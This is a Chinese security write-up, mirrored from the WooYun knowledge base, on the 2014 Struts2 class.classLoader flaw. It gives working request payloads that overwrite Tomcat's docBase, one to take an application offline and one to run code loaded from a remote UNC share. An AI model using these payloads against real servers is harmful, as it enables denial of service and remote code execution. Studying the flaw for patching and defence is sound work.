Struts2 Tomcat class.classLoader.resources.dirContext.docBase賦值造成的DoS及遠端程式碼執行利用!

wyzsk發表於2020-08-19
作者: Nebula · 2014/04/04 11:23

0x00 背景


最近大家都在玩Struts2的class.classLoader.官方在S-20的兩漏洞,一個commons-fileupload造成的DoS,這個就是讓cpu慢點,不打補丁覺得也無所謂.另外一個,就是class.classLoader允許物件賦值.

看到大家總是在tomcat8上尋求利用,覺得很雞肋(使用者的應用更換Tomcat真沒那麼快),版本限制就是軟肋.頓時,哥嬌軀一震,發個無版本限制的利用,讓大家提提神!

直接進主題,是可以對Tomcat的docBase屬性直接賦值,class.classLoader.resources.dirContext.docBase=x

docBase這個引數,是Tomcat進行應用目錄對映路徑配置的,如果賦值的地址不存在會發生什麼?

0x01 細節


利用1:造成DoS(應用對映路徑不存在,導致應用404)

如圖:

2014040410310192682.png

給當前應用目錄,賦個不存在的地址:

?class.classLoader.resources.dirContext.docBase=不存在路徑 

圖:

2014040410324488403.png

2014040410344310185.png

這樣當前應用,以後不管訪問哪個地址都是404了(因為對映的目錄不存在),造成DoS效果!

利用2:遠端程式碼執行

還是這個引數,既然可以指向任意地址,如果指向的地址對映目錄,是攻擊者可控的目錄,那就是遠端程式碼執行了.

docBase引數有三種地址路徑部署方式:

1.相對路徑:以Tomcat的webapps目錄為更目錄
2.絕對路徑:如,c://web/部署的應用目錄

但,還有一種地址配置方式,大家可能不會常用,那就是UNC path(tomcat是支援遠端網路路徑方式的):

3.UNC path(如,遠端共享一個標準的J2EE應用目錄) 

具體看這裡:http://wiki.apache.org/tomcat/FAQ/Windows#Q6

這裡我內網其他主機共享一個標準的J2EE應用目錄,如圖:

2014040410480871738.png

2014040410482029796.png

本機訪問共享:

//192.168.x.x/test

2014040410514763954.png

http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=//192.168.x.x/test 

這時應用的對映目錄就是共享伺服器的目錄了,如圖:

2014040410582890074.png

注意這裡,web容器是當前伺服器的,但執行的程式碼是共享伺服器的test目錄,java程式碼是在當前伺服器編譯及執行的(這裡不要混淆了!!!)

test.jsp的內容是,執行程式碼呼叫系統計算器的命令

2014040411021566871.png

那如果在公網上部署一個共享目錄(無任何許可權限制),那就是遠端程式碼執行了。

當然,公網上部署一個共享目錄也有網路限制,可能運營商限制了共享協議,被攻擊伺服器的作業系統是否支援UNC path等等,這裡只是思路。主要是分享一下!

//使用者還是老實打補丁,不要心存幻想!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章